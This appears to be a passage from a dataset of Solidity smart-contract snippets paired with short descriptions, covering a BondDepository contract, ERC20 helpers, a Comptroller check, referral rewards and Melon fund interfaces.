"SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } }
because the max count is so low, we can be inefficient on this read.short circuit if there are none owned
function ownedTokens(address owner) public view returns (uint256[] memory) { uint256 countOwnedTokens = balanceOf(owner); uint256[] memory _ownedTokens = new uint256[](countOwnedTokens); uint256 retIdx = 0; if (countOwnedTokens == 0) { return _ownedTokens; } for (uint256 i = 0; i < nextTokenID; i++) { if (ownerOf(i) == owner) { _ownedTokens[retIdx] = i; retIdx++; } } return _ownedTokens; }
11,803,538
// SPDX-License-Identifier: MIT pragma solidity >=0.8.12; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/access/AccessControlEnumerable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "../tool/interface/IPancakePair.sol"; import "../tool/interface/IPancakeRouter.sol"; import "./interface/IInviting.sol"; import "./interface/ISTStaking.sol"; /** * @title Bond Depository * @author SEALEM-LAB * @notice Contract to supply Bond */ contract BondDepository is AccessControlEnumerable, ReentrancyGuard { using SafeERC20 for IERC20; bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE"); // testnet: 0x78867BbEeF44f2326bF8DDd1941a4439382EF2A7 address public BUSD = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56; // testnet: 0xae13d989daC2f0dEbFf460aC112a837C89BAa7cd address public WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c; // testnet: 0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3 IPancakeRouter public router = IPancakeRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E); uint256 public bondDynamicRate = 1; uint256 public bondBaseRate = 500; uint256 public inviteBuyDynamicRate = 10; uint256 public inviteStakeDynamicRate = 10; uint256 public stakeDynamicRate = 10; uint256 public extraMaxRate = 3000; uint256 public taxDynamicRate = 1; uint256 public taxBaseRate = 10; uint256 public taxMaxRate = 1000; address public treasury; IPancakePair public STLP; IInviting public inviting; ISTStaking public stStaking; struct Market { IPancakePair LP; address receivingAddr; uint256 maxSupplyLp; uint256 userMaxLpBuyAmount; uint256 term; uint256 conclusion; uint256 soldLpAmount; } Market[] public markets; struct Order { uint256 bondId; uint256 lpAmount; uint256 lpPrice; uint256 taxRate; uint256 bondRate; uint256[4] extraRates; uint256 usdPayout; uint256 expiry; uint256 claimTime; } mapping(address => Order[]) public orders; mapping(address => mapping(uint256 => uint256)) public userEpochUsdPayinBeforeTax; mapping(address => mapping(uint256 => uint256)) public affiliateEpochUsdPayinBeforeTax; mapping(address => mapping(uint256 => uint256)) public userEpochLpBuyAmount; mapping(address => bool) public isBlackListed; event SetRate( uint256 bondDynamicRate, uint256 bondBaseRate, uint256 inviteBuyDynamicRate, uint256 inviteStakeDynamicRate, uint256 stakeDynamicRate, uint256 extraMaxRate, uint256 taxDynamicRate, uint256 taxBaseRate, uint256 taxMaxRate ); event SetAddrs( address treasury, address stlpAddr, address invitingAddr, address stStakingAddr ); event Create( uint256 bondId, address lpAddr, address receivingAddr, uint256 bondMaxSupplyLp, uint256 userMaxLpBuyAmount, uint256 bondTerm, uint256 bondConclusion ); event CloseBond(uint256 bondId); event SetBlackList(address[] users, bool isBlackListed); event Bond( address indexed user, uint256 orderId, uint256 bondId, uint256 lpAmount, uint256 lpPrice, uint256 userTaxRate, uint256 bondRate, uint256[4] extraRates, uint256 usdPayout, uint256 expiry ); event Claim( address indexed user, uint256[] orderIds, uint256 usdPayout, uint256 stPrice, uint256 stPayout ); /** * @param manager Initialize Manager Role */ constructor(address manager) { _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setupRole(MANAGER_ROLE, manager); } /** * @dev Set Rate */ function setRate( uint256 _bondDynamicRate, uint256 _bondBaseRate, uint256 _inviteBuyDynamicRate, uint256 _inviteStakeDynamicRate, uint256 _stakeDynamicRate, uint256 _extraMaxRate, uint256 _taxDynamicRate, uint256 _taxBaseRate, uint256 _taxMaxRate ) external onlyRole(MANAGER_ROLE) { require(_taxMaxRate <= 5000, "The tax max rate cannot exceed 50%"); bondDynamicRate = _bondDynamicRate; bondBaseRate = _bondBaseRate; inviteBuyDynamicRate = _inviteBuyDynamicRate; inviteStakeDynamicRate = _inviteStakeDynamicRate; stakeDynamicRate = _stakeDynamicRate; extraMaxRate = _extraMaxRate; taxDynamicRate = _taxDynamicRate; taxBaseRate = _taxBaseRate; taxMaxRate = _taxMaxRate; emit SetRate( _bondDynamicRate, _bondBaseRate, _inviteBuyDynamicRate, _inviteStakeDynamicRate, _stakeDynamicRate, _extraMaxRate, _taxDynamicRate, _taxBaseRate, _taxMaxRate ); } /** * @dev Set Addrs */ function setAddrs( address _treasury, address stlpAddr, address invitingAddr, address stStakingAddr ) external onlyRole(MANAGER_ROLE) { treasury = _treasury; STLP = IPancakePair(stlpAddr); inviting = IInviting(invitingAddr); stStaking = ISTStaking(stStakingAddr); emit SetAddrs(_treasury, stlpAddr, invitingAddr, stStakingAddr); } /** * @dev Create */ function create( address lpAddr, address receivingAddr, uint256 maxSupplyLp, uint256 userMaxLpBuyAmount, uint256 term, uint256 conclusion ) external onlyRole(MANAGER_ROLE) { markets.push( Market({ LP: IPancakePair(lpAddr), receivingAddr: receivingAddr, maxSupplyLp: maxSupplyLp, userMaxLpBuyAmount: userMaxLpBuyAmount, term: term, conclusion: conclusion, soldLpAmount: 0 }) ); emit Create( markets.length - 1, lpAddr, receivingAddr, maxSupplyLp, userMaxLpBuyAmount, term, conclusion ); } /** * @dev Close Bond */ function closeBond(uint256 bondId) external onlyRole(MANAGER_ROLE) { markets[bondId].conclusion = block.timestamp; emit CloseBond(bondId); } /** * @dev Set Black List */ function setBlackList(address[] memory users, bool _isBlackListed) external onlyRole(MANAGER_ROLE) { for (uint256 i = 0; i < users.length; i++) { isBlackListed[users[i]] = _isBlackListed; } emit SetBlackList(users, _isBlackListed); } /** * @dev Swap And Add Liquidity And Bond */ function swapAndAddLiquidityAndBond( uint256 bondId, uint256 token0Amount, uint256 token1Amount, uint256 lpAmount, address inviter ) external payable nonReentrant { (address token0, address token1) = getLPTokensAddrs(markets[bondId].LP); if (lpAmount == 0) { if (token0Amount > 0 && token1Amount == 0) { if (token0 != WBNB) { IERC20(token0).safeTransferFrom( msg.sender, address(this), token0Amount ); IERC20(token0).approve(address(router), token0Amount / 2); } address[] memory path = new address[](2); path[0] = token0; path[1] = token1; if (path[0] == WBNB) { token1Amount = router.swapExactETHForTokens{ value: token0Amount / 2 }(0, path, address(this), block.timestamp)[1]; } else if (path[1] == WBNB) { token1Amount = router.swapExactTokensForETH( token0Amount / 2, 0, path, address(this), block.timestamp )[1]; } else { token1Amount = router.swapExactTokensForTokens( token0Amount / 2, 0, path, address(this), block.timestamp )[1]; } token0Amount -= token0Amount / 2; } else if (token1Amount > 0 && token0Amount == 0) { if (token1 != WBNB) { IERC20(token1).safeTransferFrom( msg.sender, address(this), token1Amount ); IERC20(token1).approve(address(router), token1Amount / 2); } address[] memory path = new address[](2); path[0] = token1; path[1] = token0; if (path[0] == WBNB) { token0Amount = router.swapExactETHForTokens{ value: token1Amount / 2 }(0, path, address(this), block.timestamp)[1]; } else if (path[1] == WBNB) { token0Amount = router.swapExactTokensForETH( token1Amount / 2, 0, path, address(this), block.timestamp )[1]; } else { token0Amount = router.swapExactTokensForTokens( token1Amount / 2, 0, path, address(this), block.timestamp )[1]; } token1Amount -= token1Amount / 2; } else if (token0Amount > 0 && token1Amount > 0) { if (token0 != WBNB) { IERC20(token0).safeTransferFrom( msg.sender, address(this), token0Amount ); } if (token1 != WBNB) { IERC20(token1).safeTransferFrom( msg.sender, address(this), token1Amount ); } } uint256 token0Used; uint256 token1Used; if (token0 == WBNB) { IERC20(token1).approve(address(router), token1Amount); (token0Used, token1Used, lpAmount) = router.addLiquidityETH{ value: token0Amount }(token1, token1Amount, 0, 0, address(this), block.timestamp); } else if (token1 == WBNB) { IERC20(token0).approve(address(router), token0Amount); (token0Used, token1Used, lpAmount) = router.addLiquidityETH{ value: token1Amount }(token0, token0Amount, 0, 0, address(this), block.timestamp); } else { IERC20(token0).approve(address(router), token0Amount); IERC20(token1).approve(address(router), token1Amount); (token0Used, token1Used, lpAmount) = router.addLiquidity( token0, token1, token0Amount, token1Amount, 0, 0, address(this), block.timestamp ); } uint256 token0Returned = token0Amount - token0Used; if (token0Returned > 0) { if (token0 == WBNB) { payable(msg.sender).transfer(token0Returned); } else { IERC20(token0).safeTransfer(msg.sender, token0Returned); } } uint256 token1Returned = token1Amount - token1Used; if (token1Returned > 0) { if (token1 == WBNB) { payable(msg.sender).transfer(token1Returned); } else { IERC20(token1).safeTransfer(msg.sender, token1Returned); } } } else { IERC20(address(markets[bondId].LP)).safeTransferFrom( msg.sender, address(this), lpAmount ); } bond(bondId, lpAmount, inviter); } /** * @dev Claim */ function claim(uint256[] memory orderIds) external nonReentrant { require(!isBlackListed[msg.sender], "This account is abnormal"); (address token0, address token1) = getLPTokensAddrs(STLP); Order[] storage order = orders[msg.sender]; uint256 usdPayout; for (uint256 i = 0; i < orderIds.length; i++) { if ( block.timestamp >= order[orderIds[i]].expiry && order[orderIds[i]].claimTime == 0 ) { order[orderIds[i]].claimTime = block.timestamp; usdPayout += order[orderIds[i]].usdPayout; } } uint256 stPrice = getStPrice(); uint256 stPayout = (usdPayout * 1e18) / stPrice; IERC20(token0 == BUSD || token0 == WBNB ? token1 : token0).safeTransfer( msg.sender, stPayout ); emit Claim(msg.sender, orderIds, usdPayout, stPrice, stPayout); } /** * @dev Get Active Bonds */ function getActiveBonds() external view returns (uint256[] memory) { uint256 length; for (uint256 i = 0; i < markets.length; i++) { if (block.timestamp < markets[i].conclusion) length++; } uint256[] memory bondIds = new uint256[](length); uint256 index; for (uint256 i = 0; i < markets.length; i++) { if (block.timestamp < markets[i].conclusion) { bondIds[index] = i; index++; } } return bondIds; } /** * @dev Get User Unclaimed Orders */ function getUserUnclaimedOrders(address user) external view returns (uint256[] memory, uint256) { Order[] memory order = orders[user]; uint256 length; for (uint256 i = 0; i < order.length; i++) { if (order[i].claimTime == 0) length++; } uint256[] memory orderIds = new uint256[](length); uint256 usdPayout; uint256 index; for (uint256 i = 0; i < order.length; i++) { if (order[i].claimTime == 0) { orderIds[index] = i; usdPayout += order[i].usdPayout; index++; } } return (orderIds, usdPayout); } /** * @dev Get User Claimed Orders */ function getUserClaimedOrders(address user) external view returns (uint256[] memory, uint256) { Order[] memory order = orders[user]; uint256 length; for (uint256 i = 0; i < order.length; i++) { if (order[i].claimTime > 0) length++; } uint256[] memory orderIds = new uint256[](length); uint256 usdPayout; uint256 index; for (uint256 i = 0; i < order.length; i++) { if (order[i].claimTime > 0) { orderIds[index] = i; usdPayout += order[i].usdPayout; index++; } } return (orderIds, usdPayout); } /** * @dev Get User Claimable Orders */ function getUserClaimableOrders(address user) external view returns (uint256[] memory, uint256) { Order[] memory order = orders[user]; uint256 length; for (uint256 i = 0; i < order.length; i++) { if (block.timestamp >= order[i].expiry && order[i].claimTime == 0) length++; } uint256[] memory orderIds = new uint256[](length); uint256 usdPayout; uint256 index; for (uint256 i = 0; i < order.length; i++) { if (block.timestamp >= order[i].expiry && order[i].claimTime == 0) { orderIds[index] = i; usdPayout += order[i].usdPayout; index++; } } return (orderIds, usdPayout); } /** * @dev Get Markets Length */ function getMarketsLength() external view returns (uint256) { return markets.length; } /** * @dev Get User Orders Length */ function getUserOrdersLength(address user) external view returns (uint256) { return orders[user].length; } /** * @dev Get User Order Extra Rates */ function getUserOrderExtraRates(address user, uint256 orderId) external view returns (uint256[4] memory) { return orders[user][orderId].extraRates; } /** * @dev Get Basic Rate Level Info */ function getBasicRateLevelInfo(uint256 bondId) external view returns ( uint256, uint256, uint256, uint256 ) { uint256 currentLiquidity = getLpLiquidity(bondId); uint256 level = (currentLiquidity / 1e22); uint256 nextLevelLiquidity = (level + 1) * 1e22; uint256 upgradeNeededLiquidity = nextLevelLiquidity - currentLiquidity; uint256 progress = ((1e22 - upgradeNeededLiquidity) * 1e4) / 1e22; return ( getBondRate(currentLiquidity), level, upgradeNeededLiquidity, progress ); } /** * @dev Get User Invite Buy Rate Level Info */ function getUserInviteBuyLevelInfo(address user, uint256 bondId) external view returns ( uint256, uint256, uint256, uint256 ) { uint256 currentEpochBuyAmount = affiliateEpochUsdPayinBeforeTax[user][ bondId ]; uint256 currentRate = getUserInviteBuyRate(user, bondId); uint256 level = currentRate / inviteBuyDynamicRate; uint256 nextLevelBuyAmount = (level + 1) * 1e21; uint256 upgradeNeededBuyAmount = nextLevelBuyAmount - currentEpochBuyAmount; uint256 progress = ((1e21 - upgradeNeededBuyAmount) * 1e4) / 1e21; return (currentRate, level, upgradeNeededBuyAmount, progress); } /** * @dev Get User Invite Stake Rate Level Info */ function getUserInviteStakeLevelInfo(address user) external view returns ( uint256, uint256, uint256, uint256 ) { uint256 currentStakeAmount = (stStaking.affiliateStakedST(user) * getStPrice()) / 1e18; uint256 currentRate = getUserInviteStakeRate(user); uint256 level = currentRate / inviteStakeDynamicRate; uint256 nextLevelStakeAmount = (level + 1) * 1e21; uint256 upgradeNeededStakeAmount = nextLevelStakeAmount - currentStakeAmount; uint256 progress = ((1e21 - upgradeNeededStakeAmount) * 1e4) / 1e21; return (currentRate, level, upgradeNeededStakeAmount, progress); } /** * @dev Get User Stake Rate Level Info */ function getUserStakeLevelInfo(address user) external view returns ( uint256, uint256, uint256, uint256 ) { uint256 currentStakeAmount = (stStaking.userStakedST(user) * getStPrice()) / 1e18; uint256 currentRate = getUserStakeRate(user); uint256 level = currentRate / stakeDynamicRate; uint256 nextLevelStakeAmount = (level + 1) * 1e21; uint256 upgradeNeededStakeAmount = nextLevelStakeAmount - currentStakeAmount; uint256 progress = ((1e21 - upgradeNeededStakeAmount) * 1e4) / 1e21; return (currentRate, level, upgradeNeededStakeAmount, progress); } /** * @dev Get LP Liquidity */ function getLpLiquidity(uint256 bondId) public view returns (uint256) { (address token0, address token1) = getLPTokensAddrs(markets[bondId].LP); (uint256 reserve0, uint256 reserve1, ) = markets[bondId] .LP .getReserves(); if (token0 == WBNB || token1 == WBNB) { address[] memory path = new address[](2); path[0] = WBNB; path[1] = BUSD; uint256 wbnbPrice = router.getAmountsOut(1e18, path)[1]; if (token0 == WBNB) { reserve0 = (reserve0 * wbnbPrice) / 1e18; } else { reserve1 = (reserve1 * wbnbPrice) / 1e18; } } return 2 * (token0 == BUSD || token0 == WBNB ? reserve0 : reserve1); } /** * @dev Get Lp Price */ function getLpPrice(uint256 bondId) public view returns (uint256) { return (getLpLiquidity(bondId) * 1e18) / markets[bondId].LP.totalSupply(); } /** * @dev Get ST Price */ function getStPrice() public view returns (uint256) { (address token0, address token1) = getLPTokensAddrs(STLP); if (token0 == WBNB) { address[] memory path = new address[](3); path[0] = token1; path[1] = WBNB; path[2] = BUSD; return router.getAmountsOut(1e18, path)[2]; } else if (token1 == WBNB) { address[] memory path = new address[](3); path[0] = token0; path[1] = WBNB; path[2] = BUSD; return router.getAmountsOut(1e18, path)[2]; } else if (token0 == BUSD) { address[] memory path = new address[](2); path[0] = token1; path[1] = BUSD; return router.getAmountsOut(1e18, path)[1]; } else { address[] memory path = new address[](2); path[0] = token0; path[1] = BUSD; return router.getAmountsOut(1e18, path)[1]; } } /** * @dev Get Bond Left Supply LP */ function getBondLeftSupplyLp(uint256 bondId) public view returns (uint256) { return markets[bondId].maxSupplyLp - markets[bondId].soldLpAmount; } /** * @dev Get User Left Lp Can Buy */ function getUserLeftLpCanBuy(address user, uint256 bondId) public view returns (uint256) { return markets[bondId].userMaxLpBuyAmount - userEpochLpBuyAmount[user][bondId]; } /** * @dev Get LP Tokens Addrs */ function getLPTokensAddrs(IPancakePair lp) public view returns (address, address) { return (lp.token0(), lp.token1()); } /** * @dev Get Bond Rate */ function getBondRate(uint256 liquidity) public view returns (uint256) { return (liquidity / 1e22) * bondDynamicRate + bondBaseRate; } /** * @dev Get User Invite Buy Rate */ function getUserInviteBuyRate(address user, uint256 bondId) public view returns (uint256) { return (affiliateEpochUsdPayinBeforeTax[user][bondId] / 1e21) * inviteBuyDynamicRate; } /** * @dev Get User Invite Stake Rate */ function getUserInviteStakeRate(address user) public view returns (uint256) { return ((stStaking.affiliateStakedST(user) * getStPrice()) / 1e18 / 1e21) * inviteStakeDynamicRate; } /** * @dev Get User Stake Rate */ function getUserStakeRate(address user) public view returns (uint256) { return ((stStaking.userStakedST(user) * getStPrice()) / 1e18 / 1e21) * stakeDynamicRate; } /** * @dev Get User Extra Rates */ function getUserExtraRates(address user, uint256 bondId) public view returns (uint256[4] memory) { uint256[4] memory rates; rates[0] = getUserInviteBuyRate(user, bondId); rates[1] = getUserInviteStakeRate(user); rates[2] = getUserStakeRate(user); rates[3] = rates[0] + rates[1] + rates[2]; rates[3] = rates[3] > extraMaxRate ? extraMaxRate : rates[3]; return rates; } /** * @dev Get User Tax Rate */ function getUserTaxRate(address user, uint256 bondId) public view returns (uint256) { uint256 rate = (userEpochUsdPayinBeforeTax[user][bondId] / 1e21) * taxDynamicRate + taxBaseRate; return rate > taxMaxRate ? taxMaxRate : rate; } /** * @dev Bond */ function bond( uint256 bondId, uint256 lpAmount, address inviter ) private { Market storage market = markets[bondId]; require(lpAmount > 0, "LP Amount must > 0"); require(getBondLeftSupplyLp(bondId) > 0, "Not enough bond LP supply"); if (lpAmount > getBondLeftSupplyLp(bondId)) { IERC20(address(market.LP)).safeTransfer( msg.sender, lpAmount - getBondLeftSupplyLp(bondId) ); lpAmount = getBondLeftSupplyLp(bondId); } require( getUserLeftLpCanBuy(msg.sender, bondId) > 0, "User's purchase reaches the limit" ); if (lpAmount > getUserLeftLpCanBuy(msg.sender, bondId)) { IERC20(address(market.LP)).safeTransfer( msg.sender, lpAmount - getUserLeftLpCanBuy(msg.sender, bondId) ); lpAmount = getUserLeftLpCanBuy(msg.sender, bondId); } require( markets[bondId].receivingAddr != address(0), "The receiving address of this bond has not been set" ); require( markets[bondId].term > 0, "The term of this bond has not been set" ); require(block.timestamp < markets[bondId].conclusion, "Bond concluded"); uint256 lpPrice = getLpPrice(bondId); uint256 UsdPayinBeforeTax = (lpAmount * lpPrice) / 1e18; userEpochUsdPayinBeforeTax[msg.sender][bondId] += UsdPayinBeforeTax; address userInviter = inviting.managerBindInviter(msg.sender, inviter); if (userInviter != address(0)) { affiliateEpochUsdPayinBeforeTax[userInviter][ bondId ] += UsdPayinBeforeTax; } uint256 taxRate = getUserTaxRate(msg.sender, bondId); uint256 lpAmountTax = (lpAmount * taxRate) / 1e4; uint256 lpAmountPay = lpAmount - lpAmountTax; IERC20(address(market.LP)).safeTransfer(treasury, lpAmountTax); IERC20(address(market.LP)).safeTransfer( market.receivingAddr, lpAmountPay ); uint256 bondRate = getBondRate(getLpLiquidity(bondId)); uint256[4] memory extraRates = getUserExtraRates(msg.sender, bondId); uint256 usdPayout = (lpAmountPay * lpPrice * (1e4 + bondRate + extraRates[3])) / 1e18 / 1e4; Order memory order = Order({ bondId: bondId, lpAmount: lpAmount, lpPrice: lpPrice, taxRate: taxRate, bondRate: bondRate, extraRates: extraRates, usdPayout: usdPayout, expiry: market.term + block.timestamp, claimTime: 0 }); orders[msg.sender].push(order); market.soldLpAmount += lpAmount; updateUserBuyAmount(msg.sender, bondId, lpAmount); emit Bond( msg.sender, orders[msg.sender].length - 1, order.bondId, order.lpAmount, order.lpPrice, order.taxRate, order.bondRate, order.extraRates, order.usdPayout, order.expiry ); } /** * @dev Update User Buy Amount */ function updateUserBuyAmount( address user, uint256 bondId, uint256 lpAmount ) private { userEpochLpBuyAmount[user][bondId] += lpAmount; } }
Get User Extra Rates/
function getUserExtraRates(address user, uint256 bondId) public view returns (uint256[4] memory) { uint256[4] memory rates; rates[0] = getUserInviteBuyRate(user, bondId); rates[1] = getUserInviteStakeRate(user); rates[2] = getUserStakeRate(user); rates[3] = rates[0] + rates[1] + rates[2]; rates[3] = rates[3] > extraMaxRate ? extraMaxRate : rates[3]; return rates; }
1,037,566
./partial_match/8453/0xDF9d1FeD7F0098118C68Ed656624c55839fAC001/sources/Comptroller.sol
Validates redeem and reverts on rejection. May emit logs. cToken Asset being redeemed redeemer The address redeeming the tokens redeemAmount The amount of the underlying asset being redeemed redeemTokens The number of tokens being redeemed/ Shh - currently unused Require tokens is zero or amount is also zero
function redeemVerify( address cToken, address redeemer, uint256 redeemAmount, uint256 redeemTokens ) external override { cToken; redeemer; if (redeemTokens == 0 && redeemAmount > 0) { revert("redeemTokens zero"); } }
16,820,232
./partial_match/1/0xf5118CB8cF26B94EB3021edc4eC2095823E78F87/sources/ReferralRewardsType5.sol
Update the staking referral reward for _user. _user Address of the referral.
function accumulateReward(address _user) internal { ReferralInfo storage referralInfo = referralReward[_user]; if (referralInfo.lastUpdate > now) { return; } uint256 rewardPerSec = rewardsV2.rewardPerSec(); uint256 referralPrevStake = rewards.getReferralStake(_user); uint256[referDepth] memory rates = getStakingRateRange( referralInfo.totalDeposit.add(referralPrevStake) ); if (referralInfo.lastUpdate > 0) { for (uint256 i = 0; i < referralInfo.amounts.length; i++) { uint256 reward = now .sub(referralInfo.lastUpdate) .mul(referralInfo.amounts[i]) .mul(rewardPerSec) .mul(rates[i]) .div(1e18); if (reward > 0) { referralInfo.reward = referralInfo.reward.add(reward); } } } referralInfo.lastUpdate = now; }
3,921,308
//Address: 0x3e516824a408c7029c3f870510d59442143c2db9 //Contract name: Version //Balance: 0 Ether //Verification Date: 2/23/2018 //Transacion Count: 2 // CODE STARTS HERE pragma solidity ^0.4.13; interface FundInterface { // EVENTS event PortfolioContent(uint holdings, uint price, uint decimals); event RequestUpdated(uint id); event Invested(address indexed ofParticipant, uint atTimestamp, uint shareQuantity); event Redeemed(address indexed ofParticipant, uint atTimestamp, uint shareQuantity); event SpendingApproved(address onConsigned, address ofAsset, uint amount); event FeesConverted(uint atTimestamp, uint shareQuantityConverted, uint unclaimed); event CalculationUpdate(uint atTimestamp, uint managementFee, uint performanceFee, uint nav, uint sharePrice, uint totalSupply); event OrderUpdated(uint id); event LogError(uint ERROR_CODE); event ErrorMessage(string errorMessage); // EXTERNAL METHODS // Compliance by Investor function requestInvestment(uint giveQuantity, uint shareQuantity, bool isNativeAsset) external; function requestRedemption(uint shareQuantity, uint receiveQuantity, bool isNativeAsset) external; function executeRequest(uint requestId) external; function cancelRequest(uint requestId) external; function redeemAllOwnedAssets(uint shareQuantity) external returns (bool); // Administration by Manager function enableInvestment() external; function disableInvestment() external; function enableRedemption() external; function disableRedemption() external; function shutDown() external; // Managing by Manager function makeOrder(uint exchangeId, address sellAsset, address buyAsset, uint sellQuantity, uint buyQuantity) external; function takeOrder(uint exchangeId, uint id, uint quantity) external; function cancelOrder(uint exchangeId, uint id) external; // PUBLIC METHODS function emergencyRedeem(uint shareQuantity, address[] requestedAssets) public returns (bool success); function calcSharePriceAndAllocateFees() public returns (uint); // PUBLIC VIEW METHODS // Get general information function getModules() view returns (address, address, address); function getLastOrderId() view returns (uint); function getLastRequestId() view returns (uint); function getNameHash() view returns (bytes32); function getManager() view returns (address); // Get accounting information function performCalculations() view returns (uint, uint, uint, uint, uint, uint, uint); function calcSharePrice() view returns (uint); } interface AssetInterface { /* * Implements ERC 20 standard. * https://github.com/ethereum/EIPs/blob/f90864a3d2b2b45c4decf95efd26b3f0c276051a/EIPS/eip-20-token-standard.md * https://github.com/ethereum/EIPs/issues/20 * * Added support for the ERC 223 "tokenFallback" method in a "transfer" function with a payload. * https://github.com/ethereum/EIPs/issues/223 */ // Events event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); // There is no ERC223 compatible Transfer event, with `_data` included. //ERC 223 // PUBLIC METHODS function transfer(address _to, uint _value, bytes _data) public returns (bool success); // ERC 20 // PUBLIC METHODS function transfer(address _to, uint _value) public returns (bool success); function transferFrom(address _from, address _to, uint _value) public returns (bool success); function approve(address _spender, uint _value) public returns (bool success); // PUBLIC VIEW METHODS function balanceOf(address _owner) view public returns (uint balance); function allowance(address _owner, address _spender) public view returns (uint remaining); } interface ERC223Interface { function balanceOf(address who) constant returns (uint); function transfer(address to, uint value) returns (bool); function transfer(address to, uint value, bytes data) returns (bool); event Transfer(address indexed from, address indexed to, uint value, bytes data); } interface ERC223ReceivingContract { /// @dev Function that is called when a user or another contract wants to transfer funds. /// @param _from Transaction initiator, analogue of msg.sender /// @param _value Number of tokens to transfer. /// @param _data Data containing a function signature and/or parameters function tokenFallback(address _from, uint256 _value, bytes _data) public; } interface NativeAssetInterface { // PUBLIC METHODS function deposit() public payable; function withdraw(uint wad) public; } interface SharesInterface { event Created(address indexed ofParticipant, uint atTimestamp, uint shareQuantity); event Annihilated(address indexed ofParticipant, uint atTimestamp, uint shareQuantity); // VIEW METHODS function getName() view returns (string); function getSymbol() view returns (string); function getDecimals() view returns (uint); function getCreationTime() view returns (uint); function toSmallestShareUnit(uint quantity) view returns (uint); function toWholeShareUnit(uint quantity) view returns (uint); } interface ComplianceInterface { // PUBLIC VIEW METHODS /// @notice Checks whether investment is permitted for a participant /// @param ofParticipant Address requesting to invest in a Melon fund /// @param giveQuantity Quantity of Melon token times 10 ** 18 offered to receive shareQuantity /// @param shareQuantity Quantity of shares times 10 ** 18 requested to be received /// @return Whether identity is eligible to invest in a Melon fund. function isInvestmentPermitted( address ofParticipant, uint256 giveQuantity, uint256 shareQuantity ) view returns (bool); /// @notice Checks whether redemption is permitted for a participant /// @param ofParticipant Address requesting to redeem from a Melon fund /// @param shareQuantity Quantity of shares times 10 ** 18 offered to redeem /// @param receiveQuantity Quantity of Melon token times 10 ** 18 requested to receive for shareQuantity /// @return Whether identity is eligible to redeem from a Melon fund. function isRedemptionPermitted( address ofParticipant, uint256 shareQuantity, uint256 receiveQuantity ) view returns (bool); } contract DBC { // MODIFIERS modifier pre_cond(bool condition) { require(condition); _; } modifier post_cond(bool condition) { _; assert(condition); } modifier invariant(bool condition) { require(condition); _; assert(condition); } } contract Owned is DBC { // FIELDS address public owner; // NON-CONSTANT METHODS function Owned() { owner = msg.sender; } function changeOwner(address ofNewOwner) pre_cond(isOwner()) { owner = ofNewOwner; } // PRE, POST, INVARIANT CONDITIONS function isOwner() internal returns (bool) { return msg.sender == owner; } } interface ExchangeInterface { // EVENTS event OrderUpdated(uint id); // METHODS // EXTERNAL METHODS function makeOrder( address onExchange, address sellAsset, address buyAsset, uint sellQuantity, uint buyQuantity ) external returns (uint); function takeOrder(address onExchange, uint id, uint quantity) external returns (bool); function cancelOrder(address onExchange, uint id) external returns (bool); // PUBLIC METHODS // PUBLIC VIEW METHODS function isApproveOnly() view returns (bool); function getLastOrderId(address onExchange) view returns (uint); function isActive(address onExchange, uint id) view returns (bool); function getOwner(address onExchange, uint id) view returns (address); function getOrder(address onExchange, uint id) view returns (address, address, uint, uint); function getTimestamp(address onExchange, uint id) view returns (uint); } interface PriceFeedInterface { // EVENTS event PriceUpdated(uint timestamp); // PUBLIC METHODS function update(address[] ofAssets, uint[] newPrices); // PUBLIC VIEW METHODS // Get asset specific information function getName(address ofAsset) view returns (string); function getSymbol(address ofAsset) view returns (string); function getDecimals(address ofAsset) view returns (uint); // Get price feed operation specific information function getQuoteAsset() view returns (address); function getInterval() view returns (uint); function getValidity() view returns (uint); function getLastUpdateId() view returns (uint); // Get asset specific information as updated in price feed function hasRecentPrice(address ofAsset) view returns (bool isRecent); function hasRecentPrices(address[] ofAssets) view returns (bool areRecent); function getPrice(address ofAsset) view returns (bool isRecent, uint price, uint decimal); function getPrices(address[] ofAssets) view returns (bool areRecent, uint[] prices, uint[] decimals); function getInvertedPrice(address ofAsset) view returns (bool isRecent, uint invertedPrice, uint decimal); function getReferencePrice(address ofBase, address ofQuote) view returns (bool isRecent, uint referencePrice, uint decimal); function getOrderPrice( address sellAsset, address buyAsset, uint sellQuantity, uint buyQuantity ) view returns (uint orderPrice); function existsPriceOnAssetPair(address sellAsset, address buyAsset) view returns (bool isExistent); } interface RiskMgmtInterface { // METHODS // PUBLIC VIEW METHODS /// @notice Checks if the makeOrder price is reasonable and not manipulative /// @param orderPrice Price of Order /// @param referencePrice Reference price obtained through PriceFeed contract /// @param sellAsset Asset (as registered in Asset registrar) to be sold /// @param buyAsset Asset (as registered in Asset registrar) to be bought /// @param sellQuantity Quantity of sellAsset to be sold /// @param buyQuantity Quantity of buyAsset to be bought /// @return If makeOrder is permitted function 